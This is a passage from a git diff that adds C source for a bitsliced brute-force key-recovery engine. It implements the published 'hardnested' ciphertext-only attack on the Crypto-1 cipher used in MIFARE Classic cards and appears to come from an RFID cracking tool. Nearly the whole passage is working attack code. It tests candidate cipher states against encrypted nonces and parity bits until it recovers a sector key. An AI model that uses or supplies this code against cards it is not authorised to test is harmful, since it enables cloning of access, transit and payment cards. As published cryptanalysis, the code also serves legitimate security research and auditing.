f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
|
||||||
|
} else if (ks_idx > KEYSTREAM_SIZE - 24) {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
|
||||||
|
f20b_2 = crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx - 16];
|
||||||
|
} else {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
|
||||||
|
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
}
|
||||||
|
// update keystream bit
|
||||||
|
ks_bits = f20c(f20a_1, f20b_1, f20b_2, f20a_2, f20b_3);
|
||||||
|
|
||||||
|
// for each completed byte:
|
||||||
|
if ((ks_idx & 0x07) == 0) {
|
||||||
|
// get encrypted parity bits
|
||||||
|
const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
|
||||||
|
|
||||||
|
// decrypt parity bits
|
||||||
|
const bitslice_value_t decrypted_parity_bit_vector = encrypted_parity_bit_vector ^ ks_bits;
|
||||||
|
|
||||||
|
// compare actual parity bits with decrypted parity bits and take count in results vector
|
||||||
|
results.value &= ~parity_bit_vector ^ decrypted_parity_bit_vector;
|
||||||
|
|
||||||
|
// make sure we still have a match in our set
|
||||||
|
// if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
|
||||||
|
|
||||||
|
// this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
|
||||||
|
// the short-circuiting also helps
|
||||||
|
if (results.bytes64[0] == 0 && results.bytes64[1] == 0 && results.bytes64[2] == 0 && results.bytes64[3] == 0) {
|
||||||
|
goto stop_tests;
|
||||||
|
}
|
||||||
|
// prepare for next nonce byte
|
||||||
|
parity_bit_vector = bs_zeroes.value;
|
||||||
|
}
|
||||||
|
// update feedback bit vector
|
||||||
|
if (ks_idx != 0) {
|
||||||
|
fb_bits =
|
||||||
|
(state_p[47 - 0].value ^ state_p[47 - 5].value ^ state_p[47 - 9].value ^
|
||||||
|
state_p[47 - 10].value ^ state_p[47 - 12].value ^ state_p[47 - 14].value ^
|
||||||
|
state_p[47 - 15].value ^ state_p[47 - 17].value ^ state_p[47 - 19].value ^
|
||||||
|
state_p[47 - 24].value ^ state_p[47 - 25].value ^ state_p[47 - 27].value ^
|
||||||
|
state_p[47 - 29].value ^ state_p[47 - 35].value ^ state_p[47 - 39].value ^
|
||||||
|
state_p[47 - 41].value ^ state_p[47 - 42].value ^ state_p[47 - 43].value);
|
||||||
|
}
|
||||||
|
// remember feedback and keystream vectors for later use
|
||||||
|
uint8_t bit = KEYSTREAM_SIZE - ks_idx;
|
||||||
|
if (bit <= next_common_bits) { // if needed and not yet stored
|
||||||
|
fbb[bit] = fb_bits;
|
||||||
|
ksb[bit] = ks_bits;
|
||||||
|
par[bit] = parity_bit_vector;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// prepare for next nonce. Revert to initial state
|
||||||
|
state_p = &states[KEYSTREAM_SIZE];
|
||||||
|
}
|
||||||
|
|
||||||
|
// all nonce tests were successful: we've found a possible key in this block!
|
||||||
|
uint32_t *p_even_test = p_even;
|
||||||
|
for (uint32_t results_word = 0; results_word < MAX_BITSLICES / 64; ++results_word) {
|
||||||
|
uint64_t results64 = results.bytes64[results_word];
|
||||||
|
for (uint32_t results_bit = 0; results_bit < 64; results_bit++) {
|
||||||
|
if (results64 & 0x01) {
|
||||||
|
if (verify_key(cuid, nonces, best_first_bytes, *p_odd, *p_even_test)) {
|
||||||
|
struct Crypto1State pcs;
|
||||||
|
pcs.odd = *p_odd;
|
||||||
|
pcs.even = *p_even_test;
|
||||||
|
lfsr_rollback_byte(&pcs, (cuid >> 24) ^ best_first_bytes[0], true);
|
||||||
|
crypto1_get_lfsr(&pcs, &key);
|
||||||
|
bucket_states_tested += 64 * results_word + results_bit;
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
results64 >>= 1;
|
||||||
|
p_even_test++;
|
||||||
|
if (p_even_test == p_even_end) {
|
||||||
|
goto stop_tests;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
stop_tests:
|
||||||
|
bucket_states_tested += bucket_size[block_idx];
|
||||||
|
// prepare to set new states
|
||||||
|
state_p = &states[KEYSTREAM_SIZE];
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out:
|
||||||
|
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx) {
|
||||||
|
free_bitslice(bitsliced_even_states[block_idx]);
|
||||||
|
}
|
||||||
|
free(bitsliced_even_states);
|
||||||
|
free_bitslice(bitsliced_even_feedback);
|
||||||
|
__sync_fetch_and_add(num_keys_tested, bucket_states_tested);
|
||||||
|
return key;
|
||||||
|
}
|
||||||
386
src/hardnested/hardnested_bf_core_NOSIMD.c
Normal file
386
src/hardnested/hardnested_bf_core_NOSIMD.c
Normal file
@ -0,0 +1,386 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2016, 2017 by piwi
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Implements a card only attack based on crypto text (encrypted nonces
|
||||||
|
// received during a nested authentication) only. Unlike other card only
|
||||||
|
// attacks this doesn't rely on implementation errors but only on the
|
||||||
|
// inherent weaknesses of the crypto1 cypher. Described in
|
||||||
|
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
|
||||||
|
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
|
||||||
|
// Computer and Communications Security, 2015
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
//
|
||||||
|
// brute forcing is based on @aczids bitsliced brute forcer
|
||||||
|
// https://github.com/aczid/crypto1_bs with some modifications. Mainly:
|
||||||
|
// - don't rollback. Start with 2nd byte of nonce instead
|
||||||
|
// - reuse results of filter subfunctions
|
||||||
|
// - reuse results of previous nonces if some first bits are identical
|
||||||
|
//
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// aczid's Copyright notice:
|
||||||
|
//
|
||||||
|
// Bit-sliced Crypto-1 brute-forcing implementation
|
||||||
|
// Builds on the data structures returned by CraptEV1 craptev1_get_space(nonces, threshold, uid)
|
||||||
|
/*
|
||||||
|
Copyright (c) 2015-2016 Aram Verstegen
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in
|
||||||
|
all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "hardnested_bruteforce.h"
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <malloc.h>
|
||||||
|
#include "../crapto1.h"
|
||||||
|
#include "../parity.h"
|
||||||
|
|
||||||
|
#define MAX_BITSLICES 64
|
||||||
|
|
||||||
|
#define VECTOR_SIZE (MAX_BITSLICES/8)
|
||||||
|
typedef uint32_t __attribute__((aligned(VECTOR_SIZE))) __attribute__((vector_size(VECTOR_SIZE))) bitslice_value_t;
|
||||||
|
|
||||||
|
typedef union {
|
||||||
|
bitslice_value_t value;
|
||||||
|
uint64_t bytes64[MAX_BITSLICES / 64];
|
||||||
|
uint8_t bytes[MAX_BITSLICES / 8];
|
||||||
|
} bitslice_t;
|
||||||
|
|
||||||
|
// filter function (f20)
|
||||||
|
// sourced from ``Wirelessly Pickpocketing a Mifare Classic Card'' by Flavio Garcia, Peter van Rossum, Roel Verdult and Ronny Wichers Schreur
|
||||||
|
#define f20a(a,b,c,d) (((a|b)^(a&d))^(c&((a^b)|d)))
|
||||||
|
#define f20b(a,b,c,d) (((a&b)|c)^((a^b)&(c|d)))
|
||||||
|
#define f20c(a,b,c,d,e) ((a|((b|e)&(d^e)))^((a^(b&d))&((c^d)|(b&e))))
|
||||||
|
|
||||||
|
// bit indexing
|
||||||
|
#define get_bit(n, word) (((word) >> (n)) & 1)
|
||||||
|
#define get_vector_bit(slice, value) get_bit((slice)&0x3f, value.bytes64[(slice)>>6])
|
||||||
|
|
||||||
|
// size of crypto-1 state
|
||||||
|
#define STATE_SIZE 48
|
||||||
|
// size of nonce to be decrypted
|
||||||
|
#define KEYSTREAM_SIZE 24
|
||||||
|
|
||||||
|
// endianness conversion
|
||||||
|
#define rev32(word) ((((word) & 0xff) << 24) | ((((word) >> 8) & 0xff) << 16) | ((((word) >> 16) & 0xff) << 8) | ((((word) >> 24) & 0xff)))
|
||||||
|
#define malloc_bitslice(x) memalign(MAX_BITSLICES/8, (x))
|
||||||
|
#define free_bitslice(x) free(x)
|
||||||
|
|
||||||
|
// arrays of bitsliced states with identical values in all slices
|
||||||
|
static bitslice_t bitsliced_encrypted_nonces[256][KEYSTREAM_SIZE];
|
||||||
|
static bitslice_t bitsliced_encrypted_parity_bits[256][4];
|
||||||
|
// 1 and 0 vectors
|
||||||
|
static bitslice_t bs_ones;
|
||||||
|
static bitslice_t bs_zeroes;
|
||||||
|
|
||||||
|
void bitslice_test_nonces_NOSIMD(uint32_t nonces_to_bruteforce, uint32_t *bf_test_nonce, uint8_t *bf_test_nonce_par) {
|
||||||
|
|
||||||
|
// initialize 1 and 0 vectors
|
||||||
|
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
|
||||||
|
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
|
||||||
|
|
||||||
|
// bitslice nonces' 2nd to 4th byte
|
||||||
|
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < KEYSTREAM_SIZE; bit_idx++) {
|
||||||
|
bool bit = get_bit(KEYSTREAM_SIZE - 1 - bit_idx, rev32(bf_test_nonce[i] << 8));
|
||||||
|
if (bit) {
|
||||||
|
bitsliced_encrypted_nonces[i][bit_idx].value = bs_ones.value;
|
||||||
|
} else {
|
||||||
|
bitsliced_encrypted_nonces[i][bit_idx].value = bs_zeroes.value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// bitslice nonces' parity (4 bits)
|
||||||
|
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < 4; bit_idx++) {
|
||||||
|
bool bit = get_bit(4 - 1 - bit_idx, bf_test_nonce_par[i]);
|
||||||
|
if (bit) {
|
||||||
|
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_ones.value;
|
||||||
|
} else {
|
||||||
|
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_zeroes.value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t crack_states_bitsliced_NOSIMD(uint32_t cuid, uint8_t *best_first_bytes, statelist_t *p, uint32_t *keys_found, uint64_t *num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t *bf_test_nonce_2nd_byte, noncelist_t *nonces) {
|
||||||
|
|
||||||
|
// Unlike aczid's implementation this doesn't roll back at all when performing bitsliced bruteforce.
|
||||||
|
// We know that the best first byte is already shifted in. Testing with the remaining three bytes of
|
||||||
|
// the nonces is sufficient to eliminate most of them. The small rest is tested with a simple unsliced
|
||||||
|
// brute forcing (including roll back).
|
||||||
|
|
||||||
|
bitslice_t states[KEYSTREAM_SIZE + STATE_SIZE];
|
||||||
|
bitslice_t * restrict state_p;
|
||||||
|
uint64_t key = -1;
|
||||||
|
uint64_t bucket_states_tested = 0;
|
||||||
|
uint32_t bucket_size[(p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1];
|
||||||
|
uint32_t bitsliced_blocks = 0;
|
||||||
|
uint32_t const *restrict p_even_end = p->states[EVEN_STATE] + p->len[EVEN_STATE];
|
||||||
|
|
||||||
|
// constant ones/zeroes
|
||||||
|
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
|
||||||
|
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
|
||||||
|
|
||||||
|
// bitslice all the even states
|
||||||
|
bitslice_t * * restrict bitsliced_even_states = (bitslice_t **) malloc(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_t *));
|
||||||
|
if (bitsliced_even_states == NULL) {
|
||||||
|
printf("Out of memory error in brute_force. Aborting...");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
bitslice_value_t * restrict bitsliced_even_feedback = malloc_bitslice(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_value_t));
|
||||||
|
if (bitsliced_even_feedback == NULL) {
|
||||||
|
printf("Out of memory error in brute_force. Aborting...");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
for (uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < p_even_end; p_even += MAX_BITSLICES) {
|
||||||
|
bitslice_t * restrict lstate_p = malloc_bitslice(STATE_SIZE / 2 * sizeof (bitslice_t));
|
||||||
|
if (lstate_p == NULL) {
|
||||||
|
printf("Out of memory error in brute_force. Aborting... \n");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
memset(lstate_p, 0x00, STATE_SIZE / 2 * sizeof (bitslice_t)); // zero even bits
|
||||||
|
// bitslice even half-states
|
||||||
|
const uint32_t max_slices = (p_even_end - p_even) < MAX_BITSLICES ? p_even_end - p_even : MAX_BITSLICES;
|
||||||
|
bucket_size[bitsliced_blocks] = max_slices;
|
||||||
|
uint32_t slice_idx;
|
||||||
|
for (slice_idx = 0; slice_idx < max_slices; ++slice_idx) {
|
||||||
|
uint32_t e = *(p_even + slice_idx);
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
|
||||||
|
// set even bits
|
||||||
|
if (e & 1) {
|
||||||
|
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// padding with last even state
|
||||||
|
for (; slice_idx < MAX_BITSLICES; ++slice_idx) {
|
||||||
|
uint32_t e = *(p_even_end - 1);
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
|
||||||
|
// set even bits
|
||||||
|
if (e & 1) {
|
||||||
|
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
bitsliced_even_states[bitsliced_blocks] = lstate_p;
|
||||||
|
// bitsliced_even_feedback[bitsliced_blocks] = bs_ones;
|
||||||
|
bitsliced_even_feedback[bitsliced_blocks] = lstate_p[(47 - 0) / 2].value ^
|
||||||
|
lstate_p[(47 - 10) / 2].value ^ lstate_p[(47 - 12) / 2].value ^ lstate_p[(47 - 14) / 2].value ^
|
||||||
|
lstate_p[(47 - 24) / 2].value ^ lstate_p[(47 - 42) / 2].value;
|
||||||
|
bitsliced_blocks++;
|
||||||
|
}
|
||||||
|
// bitslice every odd state to every block of even states
|
||||||
|
for (uint32_t const *restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE] + p->len[ODD_STATE]; ++p_odd) {
|
||||||
|
// early abort
|
||||||
|
if (*keys_found) {
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
|
||||||
|
// set odd state bits and pre-compute first keystream bit vector. This is the same for all blocks of even states
|
||||||
|
|
||||||
|
state_p = &states[KEYSTREAM_SIZE];
|
||||||
|
uint32_t o = *p_odd;
|
||||||
|
|
||||||
|
// pre-compute the odd feedback bit
|
||||||
|
bool odd_feedback_bit = evenparity32(o & 0x29ce5c);
|
||||||
|
const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
|
||||||
|
|
||||||
|
// set odd state bits
|
||||||
|
for (uint32_t state_idx = 0; state_idx < STATE_SIZE; o >>= 1, state_idx += 2) {
|
||||||
|
if (o & 1) {
|
||||||
|
state_p[state_idx] = bs_ones;
|
||||||
|
} else {
|
||||||
|
state_p[state_idx] = bs_zeroes;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bitslice_value_t crypto1_bs_f20b_2[16];
|
||||||
|
bitslice_value_t crypto1_bs_f20b_3[8];
|
||||||
|
|
||||||
|
crypto1_bs_f20b_2[0] = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
crypto1_bs_f20b_3[0] = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
|
||||||
|
|
||||||
|
bitslice_value_t ksb[8];
|
||||||
|
ksb[0] = f20c(f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value),
|
||||||
|
f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value),
|
||||||
|
crypto1_bs_f20b_2[0],
|
||||||
|
f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value),
|
||||||
|
crypto1_bs_f20b_3[0]);
|
||||||
|
|
||||||
|
uint32_t * restrict p_even = p->states[EVEN_STATE];
|
||||||
|
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx, p_even += MAX_BITSLICES) {
|
||||||
|
// add the even state bits
|
||||||
|
const bitslice_t * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
|
||||||
|
for (uint32_t state_idx = 1; state_idx < STATE_SIZE; state_idx += 2) {
|
||||||
|
state_p[state_idx] = bitsliced_even_state[state_idx / 2];
|
||||||
|
}
|
||||||
|
|
||||||
|
// pre-compute first feedback bit vector. This is the same for all nonces
|
||||||
|
bitslice_value_t fbb[8];
|
||||||
|
fbb[0] = odd_feedback ^ bitsliced_even_feedback[block_idx];
|
||||||
|
|
||||||
|
// vector to contain test results (1 = passed, 0 = failed)
|
||||||
|
bitslice_t results = bs_ones;
|
||||||
|
|
||||||
|
// parity_bits
|
||||||
|
bitslice_value_t par[8];
|
||||||
|
par[0] = bs_zeroes.value;
|
||||||
|
uint32_t next_common_bits = 0;
|
||||||
|
|
||||||
|
for (uint32_t tests = 0; tests < nonces_to_bruteforce; ++tests) {
|
||||||
|
// common bits with preceding test nonce
|
||||||
|
uint32_t common_bits = next_common_bits; //tests ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests-1]) : 0;
|
||||||
|
next_common_bits = tests < nonces_to_bruteforce - 1 ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests + 1]) : 0;
|
||||||
|
uint32_t parity_bit_idx = 1; // start checking with the parity of second nonce byte
|
||||||
|
bitslice_value_t fb_bits = fbb[common_bits]; // start with precomputed feedback bits from previous nonce
|
||||||
|
bitslice_value_t ks_bits = ksb[common_bits]; // dito for first keystream bits
|
||||||
|
bitslice_value_t parity_bit_vector = par[common_bits]; // dito for first parity vector
|
||||||
|
// bitslice_value_t fb_bits = fbb[0]; // start with precomputed feedback bits from previous nonce
|
||||||
|
// bitslice_value_t ks_bits = ksb[0]; // dito for first keystream bits
|
||||||
|
// bitslice_value_t parity_bit_vector = par[0]; // dito for first parity vector
|
||||||
|
state_p -= common_bits; // and reuse the already calculated state bits
|
||||||
|
// highest bit is transmitted/received first. We start with Bit 23 (highest bit of second nonce byte),
|
||||||
|
// or the highest bit which differs from the previous nonce
|
||||||
|
for (int32_t ks_idx = KEYSTREAM_SIZE - 1 - common_bits; ks_idx >= 0; --ks_idx) {
|
||||||
|
|
||||||
|
// decrypt nonce bits
|
||||||
|
const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
|
||||||
|
const bitslice_value_t decrypted_nonce_bit_vector = encrypted_nonce_bit_vector ^ ks_bits;
|
||||||
|
|
||||||
|
// compute real parity bits on the fly
|
||||||
|
parity_bit_vector ^= decrypted_nonce_bit_vector;
|
||||||
|
|
||||||
|
// update state
|
||||||
|
state_p--;
|
||||||
|
state_p[0].value = fb_bits ^ decrypted_nonce_bit_vector;
|
||||||
|
|
||||||
|
// update crypto1 subfunctions
|
||||||
|
bitslice_value_t f20a_1, f20b_1, f20b_2, f20a_2, f20b_3;
|
||||||
|
f20a_2 = f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value);
|
||||||
|
f20b_3 = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
|
||||||
|
if (ks_idx > KEYSTREAM_SIZE - 8) {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
|
||||||
|
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
|
||||||
|
crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx] = f20b_3;
|
||||||
|
} else if (ks_idx > KEYSTREAM_SIZE - 16) {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
|
||||||
|
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
|
||||||
|
} else if (ks_idx > KEYSTREAM_SIZE - 24) {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
|
||||||
|
f20b_2 = crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx - 16];
|
||||||
|
} else {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
|
||||||
|
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
}
|
||||||
|
// update keystream bit
|
||||||
|
ks_bits = f20c(f20a_1, f20b_1, f20b_2, f20a_2, f20b_3);
|
||||||
|
|
||||||
|
// for each completed byte:
|
||||||
|
if ((ks_idx & 0x07) == 0) {
|
||||||
|
// get encrypted parity bits
|
||||||
|
const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
|
||||||
|
|
||||||
|
// decrypt parity bits
|
||||||
|
const bitslice_value_t decrypted_parity_bit_vector = encrypted_parity_bit_vector ^ ks_bits;
|
||||||
|
|
||||||
|
// compare actual parity bits with decrypted parity bits and take count in results vector
|
||||||
|
results.value &= ~parity_bit_vector ^ decrypted_parity_bit_vector;
|
||||||
|
|
||||||
|
// make sure we still have a match in our set
|
||||||
|
// if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
|
||||||
|
|
||||||
|
// this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
|
||||||
|
// the short-circuiting also helps
|
||||||
|
if (results.bytes64[0] == 0) {
|
||||||
|
goto stop_tests;
|
||||||
|
}
|
||||||
|
// prepare for next nonce byte
|
||||||
|
parity_bit_vector = bs_zeroes.value;
|
||||||
|
}
|
||||||
|
// update feedback bit vector
|
||||||
|
if (ks_idx != 0) {
|
||||||
|
fb_bits =
|
||||||
|
(state_p[47 - 0].value ^ state_p[47 - 5].value ^ state_p[47 - 9].value ^
|
||||||
|
state_p[47 - 10].value ^ state_p[47 - 12].value ^ state_p[47 - 14].value ^
|
||||||
|
state_p[47 - 15].value ^ state_p[47 - 17].value ^ state_p[47 - 19].value ^
|
||||||
|
state_p[47 - 24].value ^ state_p[47 - 25].value ^ state_p[47 - 27].value ^
|
||||||
|
state_p[47 - 29].value ^ state_p[47 - 35].value ^ state_p[47 - 39].value ^
|
||||||
|
state_p[47 - 41].value ^ state_p[47 - 42].value ^ state_p[47 - 43].value);
|
||||||
|
}
|
||||||
|
// remember feedback and keystream vectors for later use
|
||||||
|
uint8_t bit = KEYSTREAM_SIZE - ks_idx;
|
||||||
|
if (bit <= next_common_bits) { // if needed and not yet stored
|
||||||
|
fbb[bit] = fb_bits;
|
||||||
|
ksb[bit] = ks_bits;
|
||||||
|
par[bit] = parity_bit_vector;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// prepare for next nonce. Revert to initial state
|
||||||
|
state_p = &states[KEYSTREAM_SIZE];
|
||||||
|
}
|
||||||
|
|
||||||
|
// all nonce tests were successful: we've found a possible key in this block!
|
||||||
|
uint32_t *p_even_test = p_even;
|
||||||
|
for (uint32_t results_word = 0; results_word < MAX_BITSLICES / 64; ++results_word) {
|
||||||
|
uint64_t results64 = results.bytes64[results_word];
|
||||||
|
for (uint32_t results_bit = 0; results_bit < 64; results_bit++) {
|
||||||
|
if (results64 & 0x01) {
|
||||||
|
if (verify_key(cuid, nonces, best_first_bytes, *p_odd, *p_even_test)) {
|
||||||
|
struct Crypto1State pcs;
|
||||||
|
pcs.odd = *p_odd;
|
||||||
|
pcs.even = *p_even_test;
|
||||||
|
lfsr_rollback_byte(&pcs, (cuid >> 24) ^ best_first_bytes[0], true);
|
||||||
|
crypto1_get_lfsr(&pcs, &key);
|
||||||
|
bucket_states_tested += 64 * results_word + results_bit;
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
results64 >>= 1;
|
||||||
|
p_even_test++;
|
||||||
|
if (p_even_test == p_even_end) {
|
||||||
|
goto stop_tests;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
stop_tests:
|
||||||
|
bucket_states_tested += bucket_size[block_idx];
|
||||||
|
// prepare to set new states
|
||||||
|
state_p = &states[KEYSTREAM_SIZE];
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out:
|
||||||
|
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx) {
|
||||||
|
free_bitslice(bitsliced_even_states[block_idx]);
|
||||||
|
}
|
||||||
|
free(bitsliced_even_states);
|
||||||
|
free_bitslice(bitsliced_even_feedback);
|
||||||
|
__sync_fetch_and_add(num_keys_tested, bucket_states_tested);
|
||||||
|
return key;
|
||||||
|
}
|
||||||
405
src/hardnested/hardnested_bf_core_SSE2.c
Normal file
405
src/hardnested/hardnested_bf_core_SSE2.c
Normal file
@ -0,0 +1,405 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2016, 2017 by piwi
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Implements a card only attack based on crypto text (encrypted nonces
|
||||||
|
// received during a nested authentication) only. Unlike other card only
|
||||||
|
// attacks this doesn't rely on implementation errors but only on the
|
||||||
|
// inherent weaknesses of the crypto1 cypher. Described in
|
||||||
|
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
|
||||||
|
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
|
||||||
|
// Computer and Communications Security, 2015
|
||||||
